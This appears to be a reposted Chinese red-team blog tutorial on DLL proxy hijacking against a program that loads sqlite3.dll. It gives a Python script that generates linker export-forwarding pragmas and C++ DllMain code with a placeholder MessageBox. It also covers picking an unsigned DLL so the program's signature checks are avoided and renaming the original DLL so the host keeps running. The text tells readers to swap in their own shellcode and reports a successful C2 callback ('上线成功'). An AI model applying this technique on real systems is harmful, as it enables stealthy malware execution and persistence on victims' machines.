Dll代理-让程序可以正常运行的劫持

  • A+
所属分类:安全文章

查看程序加载DLL情况:

需要找到一个非数字前面文件,不然程序可能会校验签名:

Dll代理-让程序可以正常运行的劫持

查看Dll的导出函数:

Dll代理-让程序可以正常运行的劫持

代理:

  1. #pragma comment(linker, "/EXPORT:FuncName=Dll.FuncName")

使用脚本进行批处理:

  1. with open("sqlite3_ApiExportList.txt") as file:


  2. for i in file:

  3. list = i.split("n")[0].split(" ")

  4. for x in list:

  5. if x == "":

  6. list.remove(x)


  7. str = "#pragma comment(linker, "/EXPORT:{name}=sqlite3.{name}")".format(name=list[1].strip())

  8. print(str)

处理完成后是这样的:

Dll代理-让程序可以正常运行的劫持

C++ 代码:

  1. // dllmain.cpp : 定义 DLL 应用程序的入口点。

  2. #include "pch.h"

  3. #pragma comment(linker, "/EXPORT:sqlite3_aggregate_context=sqliteback.sqlite3_aggregate_context")

  4. /*其他的转发省略掉*/


  5. BOOL APIENTRY DllMain( HMODULE hModule,

  6. DWORD ul_reason_for_call,

  7. LPVOID lpReserved

  8. )

  9. {

  10. switch (ul_reason_for_call)

  11. {

  12. case DLL_PROCESS_ATTACH:

  13. MessageBox(NULL,L"Hello",L"Hello",MB_OK);

  14. case DLL_THREAD_ATTACH:

  15. case DLL_THREAD_DETACH:

  16. case DLL_PROCESS_DETACH:

  17. break;

  18. }

  19. return TRUE;

  20. }

测试:

然后将原文件改名为Sqliteback.dll,将此文件改名sqlite3.dll放入文件夹测试:

Dll代理-让程序可以正常运行的劫持

运行程序:

Dll代理-让程序可以正常运行的劫持

点击确定后成功打开原程序并无任何崩溃现象:

Dll代理-让程序可以正常运行的劫持

自行替换Shellcode

运行测试:

上线成功

Dll代理-让程序可以正常运行的劫持


微信群


创建了一个关于红队的交流群:


Dll代理-让程序可以正常运行的劫持


本文始发于微信公众号(夜暗心明):Dll代理-让程序可以正常运行的劫持

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: